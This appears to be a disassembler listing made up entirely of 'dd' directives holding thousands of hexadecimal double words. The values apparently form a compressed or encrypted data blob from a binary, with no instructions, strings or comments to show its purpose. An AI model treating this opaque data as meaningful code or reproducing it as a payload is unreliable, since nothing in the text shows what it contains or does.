		dd 0F363D9B0h, 0CBB6BDA0h, 216DD00h, 0F7A43825h, 0B84C3CD6h
		dd 27F26805h, 44908015h, 94956DE9h, 96B020B8h, 58A8209Fh
		dd 9899FA9Fh, 0B5340330h, 0E5F3B2D5h, 0C1547EC3h, 42507F2Ch
		dd 5C9AA0CCh, 0B062CD20h, 5C8801A0h, 0C44FD846h, 0D7688B30h
		dd 9245A2Fh, 810515D1h,	32268480h, 4A0B0CC1h, 2AC543EFh
		dd 6D001CC8h, 0FA21CCD1h, 0A36C2C41h, 2BBE8080h, 0E3977DC4h
		dd 689AA750h, 0E251F7F2h, 2C3DC8E4h, 18BA3830h,	142E5B9h
		dd 0B64D9BE1h, 405AED4Ch, 0E058A4F0h, 0C480809Dh, 34A255FCh
		dd 2407A5Dh, 78C3708h, 5C94857Dh, 0D2825487h, 2DF8F2F0h
		dd 8903CCBh, 6170DD21h,	0DF1BAD03h, 2C2FA043h, 9450B0h
		dd 0BC4D39E8h, 2A98C4C3h, 6101997Fh, 0E5B1120Ch, 246060D4h
		dd 0B3E81830h, 944EF0D6h, 42D09097h, 8009547Fh,	3400B8E9h
		dd 802045C3h, 0CAB68A66h, 0AB8070B4h, 0B1D064F6h, 176F0009h
		dd 0F3497E9Ah, 584BD7C4h, 0BF656A01h, 0F4204AEDh, 64384B0Bh
		dd 918BC60h, 60BC7568h,	9E13C704h, 35F08274h, 8CE0B5D9h
		dd 0C309AF55h, 88921BD7h, 43060854h, 2B01D5Fh, 9A8F0514h
		dd 5098C23h, 5CB26E38h,	981CC14Eh, 82E0064h, 0C3EF04A6h
		dd 0BAE274Fh, 0A0EC8221h, 0D3F0C04Ah, 0C424007Bh, 0BA801618h
		dd 64248820h, 7A1640FBh, 2CCF4CA0h, 67A8E65Dh, 34701C09h
		dd 0B32D7090h, 8D86531h, 6517E8DEh, 98564C4Ch, 1205E722h
		dd 2850E354h, 0D405D86Fh, 0BD4F4763h, 281A6802h, 0E5D84838h
		dd 94509D22h, 38BCECB8h, 0E5B40169h, 402F2DEDh,	0DC015650h
		dd 94BAFF13h, 0CA9180F1h, 5DBA4E72h, 0EF400038h, 5BE0C7A8h
		dd 20078A42h, 92BBE427h, 0E8A0AF74h, 56DD1D17h,	166C0AB2h
		dd 0AD8D00BCh, 8A084309h, 0D307CE0Bh, 480408A8h, 1023DF49h
		dd 100D7A0Eh, 0F06EA7C1h, 403A9008h, 0A50306EEh, 601A56ADh
		dd 1287E18Ah, 0C2327881h, 0C81E3FA2h, 0F00999Eh, 67C9C5F3h
		dd 56847A3h, 6A8C57D7h,	4FD490DAh, 88B8E20Fh, 9A69E002h
		dd 50470BE9h, 25D20900h, 0E863E556h, 4963EBC0h,	5A709401h
		dd 2134904Ah, 8021D449h, 0B47CF9C5h, 48B569Dh, 40F670h
		dd 4CC67F22h, 888A16D7h
		dd 0CF94014Ah, 6A762F4Fh, 1081C800h, 0EA2D332h,	0CB89AAF4h
		dd 0BBB24F23h, 0D6B14000h, 4864C0C9h, 0C8FB02AEh, 775143D1h
		dd 41B404C8h, 0B204010Fh, 0E0CAC240h, 0E4144B48h, 0E234F8D2h
		dd 0C00884A4h, 0DCE3A40Eh, 0E9E0303Eh, 0E048A6E3h, 0E1EE005Ch
		dd 98164993h, 588A5D43h, 5A213500h, 27D2B8E2h, 8D05A8E2h
		dd 2403CC42h, 9A10E0E2h, 0D3284D09h, 0DE90080h,	347D0263h
		dd 0EA74F5Bh, 0D16EB000h, 25A514FEh, 0F12ECF1h,	0B28060CCh
		dd 0C34C2229h, 6B081840h, 59EF090h, 0A0CAFB53h,	8010A80Fh
		dd 16AB6812h, 0AAAE1265h, 5A307215h, 95F81543h,	8C9A10F5h
		dd 0D011B22Ah, 3A1D600h, 4FEF4C67h, 1882FBD7h, 0E778A468h
		dd 42A7AC7Ch, 2784641Ch, 70CD846Eh, 9BF8C925h, 423C66EAh
		dd 68C42D60h, 0B7315018h, 3E3638E1h, 780F3C4Bh,	63D00910h
		dd 5898E043h, 7867CDC1h, 0FA2F5050h, 95284C58h,	9D8C7481h
		dd 81747852h, 0D57E43C6h, 244FA020h, 37CE7A3h, 6BC18C35h
		dd 2E012805h, 74D062E5h, 2D5B0EBAh, 0EC830CFAh,	0FD0EAA4h
		dd 0EF02A8F2h, 6C43DAC6h, 42D8FA2Bh, 451A00CAh,	0F7C164E2h
		dd 2C119585h, 6DE0EF27h, 30012499h, 0A8AD3FA4h,	84E9D374h
		dd 0E0000877h, 0CB0ACE88h, 1B6E54A3h, 168FC8A8h, 0AF7C08CDh
		dd 8132420Bh, 0B549AD04h, 0A80118F0h, 0F2A70B4h, 9A4833ECh
		dd 0E14C2C0h, 460CA5BDh, 684BEB42h, 0A2CF0032h,	5665FDF8h
		dd 0DB284FA0h, 3507C4F1h, 0DA3126D5h, 0E03EEFA0h, 2A887687h
		dd 0E6B82802h, 0B8F761B5h, 391F842h, 94E8336Eh,	73D9A4C8h
		dd 0FE1C488h, 0B58AEF0Ah, 20BBE071h, 9D37h, 392952Ch, 0C26FB800h
		dd 634C5BD8h, 0E5F70264h, 36BBAC87h, 7FCA1860h,	0EC0F6600h
		dd 6E6ADDBFh, 0EB7526D0h, 555000CBh, 0D9CA623Fh, 0E02CE81Eh
		dd 0E517C502h, 1E6850FCh, 397D56A5h, 0D800814Bh, 782961C2h
		dd 440E983Ch, 0AEF800DEh, 6B1845EFh, 8097DF03h,	8A3B7560h
		dd 0C7CA018Dh, 0E9C5B66Fh, 259C6D0Eh, 544642h, 0C0830518h
		dd 0DAF2FD79h, 424450C1h, 103406A7h, 0D093DF1h,	0F6A47780h
		dd 0CF8B9187h, 6F78677Ch, 4B029902h, 7F194F41h,	3871F489h
		dd 0B88CA444h, 29B369CBh, 795F80F0h, 7B5D8441h,	0F8251F42h
		dd 0C9D8003Ah, 0F5A58F8Eh, 93EC6B50h, 951A1800h, 0AD364F01h
		dd 8D0EEFAh, 51D24282h,	2BEB6300h, 4DE59B61h, 0BC12084Ch
		dd 8FC82101h, 9EE858AEh, 1335A907h, 6E779D68h, 628C5240h
		dd 3230C0B5h, 0C3F439D9h, 0DBBD6700h, 0A4AAF516h, 7DE8055Ah
		dd 0B01809E4h, 0E5A4FD0h, 0CC3C00F1h, 63C8C97h,	3CE0259Fh
		dd 5027ECE1h, 3945500Ah, 70462D84h, 86FCD32h, 3EC7128h
		dd 0E90F8AE1h, 3E601055h, 0B9103433h, 507CA5D9h, 0F0D7E584h
		dd 44264C10h, 92006C20h, 0BACD6F80h, 0A43B009Bh, 1E5836E6h
		dd 1803176Bh, 7BA6CBEEh, 0E8B1958Ch, 19A71040h,	2258008Ah
		dd 8ED80D49h, 0FC65138Ch, 0B0A0D320h, 1A6F2442h, 21E78F1Ch
		dd 0A4817780h, 5A0296F0h, 0B4506CD2h, 27D86806h, 6D9200BFh
		dd 0AD379BDCh, 1B0DF921h, 0B083A1E5h, 586443F0h, 0ACB4542Ah
		dd 0ED4C1308h, 2D4E8000h, 0EC03B1h, 820D0BDAh, 64605F10h
		dd 0A64FD139h, 0AE8040B8h, 0D3F261E6h, 7E791CC1h, 5968052h
		dd 0DD4FC87Ch, 50289861h, 83B368Ch, 0A400E254h,	689B4BE7h
		dd 0B2A9FE03h, 74DD0100h, 459CF291h, 44703A5Ch,	17229F66h
		dd 0A3547942h, 3CDE0204h, 68E7907Ah, 0C98EFDCCh, 0A891E420h
		dd 78482A50h, 0EED99DDDh, 0C30A42F4h, 0E4836105h, 4CECA5CDh
		dd 6440F83h, 133F2915h,	23CB009Ch, 7E56A2D2h, 0A9A4B84Ch
		dd 2DEC4DC0h, 0C58502BDh, 0D740506Eh, 3868B0E8h, 0BC09E908h
		dd 5467018Dh, 13D9E4Fh,	702C5F08h, 26E85326h, 484E0924h
		dd 450CE858h, 38DF91E5h, 0C32BDC8h, 53005C7Ch, 0B1552CF0h
		dd 5EB20BC4h, 6B804CA6h, 0DF53AFDh, 9204200h, 1BE2B814h
		dd 15B1009Bh, 0DD1D9AC6h, 180F12C0h, 226BB67Fh,	58722D8Ch
		dd 221400B0h, 92416E37h, 5A4D43D4h, 0B5351298h,	2E182D00h
		dd 98E72Dh, 485969E2h, 0E5436588h, 98E184E2h, 66D1DDE9h
		dd 509A8045h, 55FAD001h, 81EAE5F9h, 0F60D2880h,	0D2EF71F1h
		dd 6C434F2Eh, 0E88DD80h, 6136603h, 48E54E02h, 0AA253020h
		dd 0FAE832ADh, 0E80EB780h, 4CADC888h, 57A20920h, 8113AFEh
		dd 5A9108C7h, 52D888F6h, 12B988E9h, 69180349h, 480C074Ah
		dd 6021C6E5h, 0C14325DBh, 37C8DCE3h, 31D65D8Ch,	63DE6040h
		dd 4ADDE841h, 5DC813Eh,	48482B1Fh, 0BDE58636h, 0A44F50E1h
		dd 308C3438h, 2818FA64h, 20E763E0h, 3B588030h, 470DF010h
		dd 0D0989512h, 0CE80B564h, 2BE80B27h, 24E52AAAh, 0FE16082Ch
		dd 54F2AC87h, 0ACA0482Dh, 0BE87F0F9h, 8C893E80h, 0A8F10F35h
		dd 0EA3A3D3Ch, 0E03C9CF9h, 0AA0316E8h, 0A4FAD9h, 5D954DEBh
		dd 8DE51301h, 247B58h, 69219BC6h, 0B811F41Ah, 0D22220DCh
		dd 365F98F2h, 420918CAh, 4C568B88h, 28A08788h, 0C8785D50h
		dd 0A8C80809h, 0DA98F86Eh, 0B20140F6h, 0B464E40Bh, 0D6F65DEAh
		dd 0A80AC7B0h, 7C00D05h, 0C0BB704Fh, 8B2764A6h,	0AA4AECA2h
		dd 0C000CAD8h, 80A49DD0h, 0B807F77Eh, 801FC2D0h, 0BF4F02AEh
		dd 0E4905596h, 0EC2F65CAh, 7D9CC81Ah, 4EFB1641h, 3E240003h
		dd 17F093B9h, 0C8BA657Ch, 0F03584A1h, 0E02E3497h, 0D100F095h
		dd 0BA9F5163h, 5CE5169Ah, 18B8A387h, 24F80E25h,	914F2549h
		dd 0A73A3860h, 0ADCD29Fh, 0E7DE259Ah, 725D09F1h, 0BCA21285h
		dd 0BE4FC3ACh, 17302F89h, 0FF57F010h, 0CF718A14h, 0D40A5BF8h
		dd 8C70D43Bh, 7C6280AEh, 71086CBCh, 0D23B01C0h,	0A4513143h
		dd 0E06AB821h, 0FC6CADh, 22245F48h, 0B4D7B171h,	0D473C400h
		dd 21ABFBEFh, 58AA0002h, 722EE8A2h, 4700D004h, 0BFE19D5Fh
		dd 27E9E5h, 99508C3Dh, 10A38309h, 2E005179h, 7F9A4DE6h
		dd 0FC729CBFh, 3868C067h, 0A0589798h, 0EFCE6A01h, 45FF6CA4h
		dd 1CF4FCF0h, 80D5F39Bh, 0E3DB02ABh, 0A42DC7C3h, 1FB076D8h
		dd 2B52035Bh, 86E1BC43h, 671881F2h, 0CC087232h,	7FC69881h
		dd 8030AE3Ah, 9D5EA670h, 30EDBA4Eh, 603091F1h, 1100B3F3h
		dd 9212BEF4h, 0F3EF2FFh, 83DCBA3Bh, 3FDAB6C0h, 484164D5h
		dd 2F8B8240h, 0ABB30760h, 80D8B8D3h, 4C4302F3h,	391D2200h
		dd 42A057D0h, 0D63A003Ch, 808E7281h, 69036048h,	0FDE7E473h
		dd 68A01EBAh, 0CB0C007Bh, 0F393DF6Bh, 0E57D8D3Dh, 8001E098h
		dd 0BE103B02h, 380C48E0h, 61006593h, 0C4D72550h, 6C6118C7h
		dd 40CB8F98h, 4BC23886h, 52F830D4h, 7243930Eh, 35105858h
		dd 374700FEh, 4CC7FD3Bh, 847DE707h, 324083Ch, 0F38E9774h
		dd 1487866h, 3D20D155h,	0D5EBEE88h, 3F18850Bh, 0A8096B12h
		dd 0F930000Ah, 7EC7EDBEh, 0CB04019Fh, 66FFF83Ah, 0DD84148h
		dd 0D502A7h, 72E3CB6Ah,	801E6D28h, 3BE63C0Ch, 7E48588Bh
		dd 89C43B12h, 5A721161h, 42880B9h, 33FC01D3h, 0B78400EEh
		dd 0B6AC81FFh, 0E30AC369h, 0D06B930Ah, 0BCF68F83h, 84C043DEh
		dd 98663D0Ch, 0A4A0A9A1h, 0D14C06Bh, 733C6732h,	0E628B0E8h
		dd 0C0A4882h, 0CCDD6BC8h, 0A3744128h, 0C36A0E19h, 0D040DF60h
		dd 6C82420h, 0B63A9E80h, 0DC0F5168h, 0A4AB0BECh, 589375E3h
		dd 8E22C053h, 6064609Ch, 27E86582h, 50036798h, 0AE85C289h
		dd 2C55A0C1h, 0B40B00B1h, 0BCA59708h, 4400C699h, 82AC4048h
		dd 24E7D46Ch
		dd 24D5934h, 0F7C872ABh, 3A842848h, 88C5E47Ch, 8040D321h
		dd 72A937D0h, 1074609Eh, 86A27C9Dh, 4DE5F500h, 0A62F9A6h
		dd 1FB7EA58h, 0C015528Fh, 6FC84ABDh, 27004F4Dh,	0AED65020h
		dd 157FA1Eh, 0B79E6E3Fh, 9515BEC7h, 6940AE0h, 48CA3AB9h
		dd 0BC9A0080h, 3D70F2FCh, 9490DCB8h, 0B083E529h, 0CB1B1400h
		dd 29B512ADh, 85BC9DE6h, 0AA3F6B95h, 108A6787h,	91CD0AC2h
		dd 1030E9F8h, 0B92330C8h, 0DE461D10h, 50FE7600h, 0A1F2EF44h
		dd 7B0892C2h, 91040354h, 42F3EE83h, 120450A6h, 53ECDE11h
		dd 307228C8h, 68607BA0h, 6C243A7Dh, 0AD807802h,	2616F56Bh
		dd 0B823308Eh, 0BC203F58h, 0D31098C4h, 0E4582481h, 60B83AD0h
		dd 0F3143829h, 20E9BDCAh, 12241134h, 84E87CB1h,	0ED093A06h
		dd 0C4EB0011h, 622AA78Ah, 0A8000AA4h, 0D035BC67h, 0CFB6FB8Fh
		dd 0D2438778h, 80BCD971h, 9DB848DAh, 8347802h, 0C14FCEC9h
		dd 0BC5029AAh, 174C2BAh, 0DF5BC765h, 0A1AC7FCFh, 0AA3CA430h
		dd 3A18C84Ah, 0E7B837FFh, 2CD649ECh, 720C5C48h,	0DE307726h
		dd 8B091B78h, 20FAB7C8h, 21C1AD00h, 2991378Eh, 414AF0D8h
		dd 580109B2h, 0C04EE6BDh, 8AF8F4ACh, 19898CAh, 0A78C513Ch
		dd 0F3B1F09Fh, 0AAEDC8B0h, 14A3B49Ah, 75395010h, 59D9430Eh
		dd 0E420AF69h, 0AB7C72ACh, 5DEA0CBh, 0C01C1410h, 8F05FC64h
		dd 0F047867Eh, 8769A872h, 3CB91C0h, 0AD41FBFh, 0C5F1EE38h
		dd 384D87C4h, 0D1440448h, 8332DB24h, 20EC1C41h,	31A01E3Ch
		dd 8E0ABE4Ah, 1C4D20Eh,	0BE50901Fh, 303988FCh, 0A889008Dh
		dd 0BDAE4D0Dh, 0BFE79C00h, 28FD5B1h, 0C820C177h, 60EF906Dh
		dd 16502B58h, 940050ACh, 0C545AFCh, 92DAA63Bh, 0CB033494h
		dd 13BFC0D9h, 0C0C7BC59h, 94C12950h, 188CB363h,	0EE480A2Ch
		dd 0C9A4E819h, 203012A0h, 8BEC5C4Fh, 1F32C07Dh,	36F588B8h
		dd 121CD20Eh, 2C3A02D8h, 0B2FC866Fh, 21110010h,	87BE9C8Ch
		dd 97039550h, 5AC6D4E6h, 606E8F3Ah, 757ECE4Dh, 8EAD0C8Ah
		dd 0AFD882E9h, 1D5C0CB0h, 0CE190241h, 98EB149Fh, 808818CCh
		dd 549A333Fh, 0B8CE559h, 89EC22B6h, 95C9034h, 613B810Dh
		dd 6E9AF141h, 0B67B0B4h, 0CAFB142Bh, 62247831h,	3B0304CCh
		dd 8C80FDD8h, 60565790h, 58B138EBh, 0A850A60Eh,	0D32E16A0h
		dd 290BBEDEh, 0C008A043h, 91674D04h, 6E8805CCh,	58A40018h
		dd 3850B0BFh, 0C9305100h, 0C2D8BD82h, 9EDB1D70h, 62CF8148h
		dd 0BF063F3Ah, 0FB8E8A41h, 0DD0BC4C8h, 1DE823B3h, 4F200281h
		dd 0FA2E8ECCh, 1744300h, 2A7271DAh, 0F05341h, 98CB5999h
		dd 3E56FF75h, 490E851h,	0CAA8C788h, 41956588h, 1872ADB4h
		dd 0F878215Eh, 4C92E638h, 68C5A632h, 98C4A2C1h,	0ABDC005Ch
		dd 4374C6F3h, 0AF8E7B0Dh, 94071844h, 4F1CE9F4h,	926B1D2Bh
		dd 0C973A401h, 0A060AC41h, 0C044AB92h, 0A0C051B7h, 298667BAh
		dd 86CC4AC2h, 302CAD8Eh, 448C14Ch, 0CB0AA66Ah, 98EF40C8h
		dd 32C818C0h, 31E71056h, 6D8ED501h, 99D0720Ch, 67870A8h
		dd 8951907Fh, 0B70B28E3h, 0A1BB7211h, 2D663ED0h, 90B84430h
		dd 8E3B09BCh, 48A9A058h, 0CE8AB810h, 0C8183492h, 5948EA98h
		dd 0C77F0791h, 0C21F45FCh, 84977CBh, 3AAC5035h,	0DCA01734h
		dd 640BB31Fh, 224C043Fh, 0C35CCC0Ch, 39EE98A7h,	0CB0B2414h
		dd 3808C04Ch, 0C6000AA9h, 6A9779CFh, 37724666h,	8B2011E2h
		dd 0E71E6494h, 0A7004F4Eh, 0A1768621h, 7DD16D7h, 8C2108Fh
		dd 88AEA689h, 8867B880h, 3CA048C2h, 116774C8h, 73C5FC50h
		dd 0D3680C00h, 561EE3h,	50B4CBC1h, 0E8670A92h, 3442BD3Ah
		dd 0D075206Bh, 93501004h, 41EA9489h, 0D301E31Ch, 0A0C6F2EDh
		dd 378E020h, 678DB535h,	498E1DC9h, 9BB62200h, 3206F119h
		dd 0A2E0198h, 0E13FF2C4h, 1A2C307Ah, 0C6FA3302h, 43F44772h
		dd 0E3A28040h, 5CC8909Ch, 0E50AC4F2h, 0A4E88AA0h, 0C002021Ch
		dd 0DC460AB2h, 73843A17h, 71448440h, 9208F96h, 0AD8DCE1Eh
		dd 3947C280h, 0CC5D3C8Eh, 54550010h, 68185D96h,	9BDC2E94h
		dd 0CE72E658h, 8253D9E9h, 1C7B9E8h, 1880C442h, 0B0F14572h
		dd 0DA18701Fh, 9638E3D8h, 98807583h, 943E2FFh, 181A9345h
		dd 0F6A74D00h, 787E99ECh, 0FF91AA01h, 5F859C2h,	7DC50A8Fh
		dd 434E7100h, 0C714F92Ch, 0BE4FCFh, 0EDD59AE6h,	32725E03h
		dd 51985D07h, 30641009h, 3CC08A09h, 8E49E53Ah, 0EC912958h
		dd 8B81003Dh, 0C3E47B56h, 68E2425h, 7A49398h, 0A53F65CCh
		dd 0DA64CC2Bh, 8D17E090h, 4440EB68h, 32E7D76Ah,	445D00B4h
		dd 0FDC80AADh, 480C2207h, 502D7C8Eh, 38AB63D9h,	100A7245h
		dd 44960AA8h, 0A31AA090h, 48669E3h, 0C3177855h,	4B01EFD2h
		dd 50BFEE0Ch, 0CCD950D7h, 5F900972h, 7381C98Eh,	0D8424E6Dh
		dd 58C3E207h, 0F23F3BE0h, 0CC8FAFh, 0C8873C27h,	10806719h
		dd 4FD150F6h, 8C3CF325h, 0B03A3E8Bh, 0C78A6014h, 3C3473D2h
		dd 848FF9Dh, 0BB3A2474h, 91A4812Ch, 0EA14C470h,	10FC98E8h
		dd 1EC2DF9h, 0AE0B36BAh, 0E740D406h, 5D6C372h, 13C89266h
		dd 0E7E4003Eh, 8ADEE583h, 0BA509094h, 0C0D5FCC7h, 0E44173A8h
		dd 3F166C67h, 9C40849Ah, 86BD3707h, 0FA3746Ah, 0A9C30DAEh
		dd 0B08CC492h, 0CF00BE18h, 7F6E1F34h, 0CB816635h, 0E8826B20h
		dd 9470EA80h, 0C0BF3809h, 0A37422D1h, 4803068Eh, 0D0B067E4h
		dd 0B5B01203h, 2D94F3Ah, 7092AF28h, 0C01F8Eh, 9D07B8E0h
		dd 11D7E90Fh, 0E5C8D3B3h, 4B208C8h, 0FD4E45E3h,	2177C7C2h
		dd 304FB724h, 3F768BD0h, 13C84248h, 0D43089B5h,	92F4FDAFh
		dd 7E353038h, 57171818h, 0B09BB80Bh, 21E8A290h,	0EF78C887h
		dd 0B3D38B15h, 46C73001h, 881E79F9h, 0BD7430h, 43061D87h
		dd 0B6C2C956h, 7CDE1492h, 0B93A3643h, 264C7EE5h, 9682551h
		dd 7C467915h, 78F03C26h, 51003B17h, 528E7C47h, 3F0C3FDh
		dd 0A0846B90h, 3A1AB38Ch, 6050C583h, 12C61714h,	0B851F1h
		dd 0EAF335ECh, 0FE30C7E3h, 8FB030A9h, 12F198A5h, 192B214h
		dd 34324C1Ch, 811F6085h, 100CAC48h, 0B406FECEh,	60B7E83Ah
		dd 8E36BE09h, 8B4ABA6h,	381F5810h, 4C809012h, 9F2DB45h
		dd 0C643F6Ah, 0B3995C21h, 40CB0247h, 4BC4D31Ch,	3A580343h
		dd 2910087Ch, 0C80CBC46h, 0E868D9E5h, 0B9078405h, 89EBECh
		dd 0A82CA2E1h, 65485026h, 5CA416B0h, 3A23036Ch,	582C4466h
		dd 3FC52C33h, 1290B488h, 40BD8369h, 0EE8924DCh,	945479E4h
		dd 631374ECh, 0C4044B06h, 0E700F9A4h, 444C189Dh, 68729A0Ch
		dd 793A70EEh, 0DD61C96Ah, 0E3EB2802h, 2A4DD070h, 8E8217A8h
		dd 1223EC00h, 263AFEADh, 87985B94h, 0D7EECAh, 0B835E6B9h
		dd 1211365Ch, 5801BD8Ah, 604D2331h, 0C0AC30h, 26115CF7h
		dd 8D508539h, 94816B0Ah, 2503F8AEh, 0A47866h, 695A9C18h
		dd 0E21E3A60h, 5658F892h, 4C702C6Ah, 0FFF5308h,	94890A55h
		dd 0B4217000h, 0E703E48Ch, 2C2FC640h, 0B6A001EEh, 0C4B0826h
		dd 60070A8h, 0AFBD0107h, 399B5ED0h, 0F88C5BE4h,	310A571h
		dd 0CC62E33Fh, 20720DBCh, 0C4242870h, 8E8F02C3h, 0CD2E75Ch
		dd 18176C6Bh, 10074FBCh, 1E604C5Bh, 0A1AA9E72h,	984086B4h
		dd 0B29BC957h, 7CA64C54h, 1F65E200h, 0CF91C87Fh, 0E50878C7h
		dd 0AA80DD74h, 3B0DF2A2h, 0E25C7455h, 666F9B00h, 0F1ECD347h
		dd 1811C930h, 1E698F18h, 15ECAA8h, 0ED873B26h, 81AB31EEh
		dd 2773C648h, 22D8451Ch
		dd 71AB00FFh, 5E46B2BFh, 9C20E537h, 9470E8Ah, 6906A94h
		dd 26CB39B9h, 0CEB60170h, 0FA9BA75Ch, 7225F0C9h, 300B18CCh
		dd 0F29A02DCh, 37083A01h, 0FEC0B107h, 33D5BF9h,	0C6C34063h
		dd 5814D123h, 3F3883E6h, 88A6B071h, 0E2CA69h, 0E36A68E4h
		dd 398466B8h, 28B52737h, 65C24620h, 343600E4h, 8D7AAA52h
		dd 48C135D6h, 26D36C81h, 1F84F4h, 459E251Dh, 5A59C668h
		dd 0B82AA21Eh, 69818D40h, 3C2126D6h, 0A8014F84h, 39F15878h
		dd 0B818F75Fh, 5E70D21Dh, 0A59132CFh, 141064E0h, 3A5506CEh
		dd 30480739h, 0FF7B8F78h, 0BD37BCA9h, 0D93E58h,	91115B6h
		dd 0E20BC9h, 296594AAh,	0AF34C4C3h, 2698BB00h, 0EECFB5E8h
		dd 38EF827h, 85CE5F8Fh,	33D815DEh, 57032E97h, 1139A6B7h
		dd 9700089h, 1AA4FACh, 3401E541h, 0A0990B26h, 0FEC0CE11h
		dd 70DE0080h, 5FECADCCh, 0CF1A755Dh, 1358AE2Ah,	0B69DB0ECh
		dd 348D1422h, 4400A08Fh, 0AE40F9D7h, 41B0D279h,	3AB17114h
		dd 94E800BCh, 0B6C6B9A4h, 6640C011h, 0E20C8537h, 3C873300h
		dd 4FAA0AEBh, 20426A2Ah, 20A52454h, 0A0190FA4h,	0C8A321E6h
		dd 2030D87Bh, 0A20130D6h, 0EA7112E2h, 0DD0007A0h, 24B680DAh
		dd 924A7BAh, 0C3C24495h, 905049EAh, 43240708h, 0B86094B4h
		dd 0A9122C39h, 14409294h, 121110BAh, 2180E5B0h,	20C80B3Ch
		dd 0DA817A5Ch, 6F8CA3F3h, 7163501Eh, 9850EB8Fh,	0B990C198h
		dd 27510CA8h, 1A074207h, 0C9B739CAh, 8E6138CAh,	0BC24DDDAh
		dd 4F1CA04Bh, 590A423h,	0D4F282F0h, 0C28407EAh,	20E02FE2h
		dd 75E9EFF3h, 7F4CC600h, 0C7A0F1A6h, 0E43C646Dh, 872487EBh
		dd 0EE48CCBCh, 8D2110C1h, 58A43609h, 0BFE01D3h,	0D49589B9h
		dd 7B494B39h, 0B43C1EE0h, 1040A90Ch, 0E22E3071h, 0F7157FE0h
		dd 0EB354C0Ah, 4091E45Ah, 2FCFB3Dh, 0CF508FB3h,	2863BC97h
		dd 0C8C1FABBh, 0E849D204h, 5209089Fh, 0E82884CDh, 0ED3A33F4h
		dd 7FBBC708h, 61571813h, 0F19A7100h, 0CD3748h, 994EC02Dh
		dd 7A587C71h, 98C88EC2h, 3458481Eh, 1020E1BDh, 0AEC53071h
		dd 0DB87CFB8h, 0E4F2B209h, 7289882h, 29D8B238h,	87F85D86h
		dd 0EB3E6ACAh, 0BB01340Fh, 80CB6EC6h, 4833DF60h, 0C5AAE1C8h
		dd 0C0BD3871h, 0EA114288h, 939C300h, 5C4765FAh,	826005ABh
		dd 81B4A354h, 40848F47h, 0C61DA7CFh, 0E6CA5800h, 245DE438h
		dd 0A2AE1FCBh, 0D34A00FCh, 0DB63DCFh, 92DB8E00h, 6BD9B2F2h
		dd 890C9150h, 0F0A0A63Eh, 101C202Dh, 6EB3E200h,	71E770C6h
		dd 35B8096Ch, 2809DAh, 8BC706D8h, 0FB00823Ah, 726A46E1h
		dd 2466BBE3h, 6440C183h, 0DC001F51h, 0C78AE31Ah, 480B60B7h
		dd 3D7B661Ch, 3641C318h, 92AAF24Ch, 0C6C10CC8h,	0EC28162Ch
		dd 8D344092h, 1CD87027h, 89607B9h, 0C02ECD57h, 0B2EDE839h
		dd 0CC09A107h, 0D4E1F33Dh, 30619566h, 0DFFE0801h, 95AAC34h
		dd 1684A048h, 30B48C88h, 35C32EE1h, 11057134h, 0CA98FC80h
		dd 423C9246h, 45112E3Ah, 1F3F8500h, 18B10ECCh, 0B0FAEBC8h
		dd 30C0E3B0h, 0D7D547DAh, 413914DDh, 1100B445h,	0BCAECA02h
		dd 0C314B322h, 8CACD372h, 31B73912h, 29F889A9h,	0BC708937h
		dd 18948813h, 2D10EA10h, 0E857296Ah, 9F6CC600h,	0ADFEAA0h
		dd 44C129CEh, 0BD742608h, 0E45466A4h, 934CC49Eh, 98CBD48h
		dd 0E62002C0h, 2A74469Dh, 90EC1A55h, 0C7091CBCh, 37C183A9h
		dd 8FC24E65h, 0D7B60880h, 0C906989h, 6DF37119h,	119E6738h
		dd 24A86893h, 6744254Fh, 9410894Ch, 0C0835BCEh,	4C50BC32h
		dd 0B8408091h, 841150AAh, 894CA18Eh, 0B3429C30h, 71C08008h
		dd 43C48ED1h, 3ED910C4h, 101EB084h, 8FF09A98h, 0DA49C06Dh
		dd 92D869F1h, 0A06418C9h, 0D4364CA8h, 0ADDC00C5h, 0B69FCEE1h
		dd 4800D525h, 0EAB8E6BFh, 48E9C6C0h, 9DA55091h,	0D3BC6054h
		dd 0CA8458F9h, 6C4DD40h, 0C807577Dh, 2E0310BDh,	0BA928E56h
		dd 639AA0CAh, 7D8BE226h, 78427BDCh, 0DEAE39D5h,	857B103h
		dd 3871CD9Fh, 6492509h,	0C7A821ADh, 0F08C6878h,	0B3D8DC09h
		dd 0C818D979h, 2118A6F8h, 0CF483BB7h, 56231380h, 6B454A4h
		dd 34397D09h, 0AC582010h, 0C024468Dh, 0D39EAFD8h, 0A500B1EDh
		dd 0B68066E4h, 92F84DC6h, 7B3B0F90h, 17E224h, 0B6B2DF44h
		dd 90786502h, 0E5089150h, 0C0148350h, 477DEE14h, 0C1FA0894h
		dd 1FE9404Ah, 3D200A57h, 562074B8h, 0E84DA4C1h,	219D4176h
		dd 50F88704h, 39A15AC1h, 0C9E2668Dh, 0FA02B280h, 0EC00D204h
		dd 0B511AF27h, 0F128E558h, 0AC62018Eh, 31C73C44h, 3201C38h
		dd 64C730BDh, 0C6BA1606h, 1818B7BEh, 515F88B5h,	7C943C71h
		dd 5C304F00h, 0E2E8BAh,	0D0C4091Ch, 6505EACBh, 4EBC4C00h
		dd 0C0BD268Fh, 9BA92C17h, 0BF117F8h, 6822D234h,	8909EA47h
		dd 18740050h, 1EF093F6h, 409B9CE4h, 0EEBDFA61h,	49183995h
		dd 0C3D065F5h, 5A140070h, 0F03DE536h, 5F4CFB25h, 6520FA0h
		dd 95D5C0E0h, 60918EC1h, 86D93040h, 0F7F2DF50h,	3C84C249h
		dd 852CBB38h, 81FFD4E3h, 30E61080h, 0BD3E001Ah,	0BCC80908h
		dd 0BF004F6Dh, 1F853BE5h, 0BB1E7D4h, 0AE698DA1h, 142818A0h
		dd 0D7F80D50h, 4600BF8h, 0C845F618h, 0F49AB2h, 88859765h
		dd 0C7B05A74h, 30171D24h, 0F97B4D81h, 0A880ED22h, 27E0160Ch
		dd 49C3288Dh, 0F83D59FEh, 584F7194h, 8458CC87h,	9C8FE71h
		dd 2FBE39A1h, 84046C09h, 95008036h, 0BF0944EDh,	0B852EB25h
		dd 59FA24h, 0B1E0AFE1h,	783669CEh, 0A4C42E16h, 70111C00h
		dd 288D38F6h, 4C94C055h, 1E0AC42h, 0A060353Ah, 7AE21D18h
		dd 4FE292h, 20DD5E99h, 4871160Dh, 76C6949h, 0B049A495h
		dd 0D959C650h, 0E8AC0E7Ah, 0A65DF0ECh, 6F18B0F4h, 1F00FF90h
		dd 0AE11A8B5h, 92DBAD8Dh, 1C6C3E58h, 25CCF017h,	8728002Ch
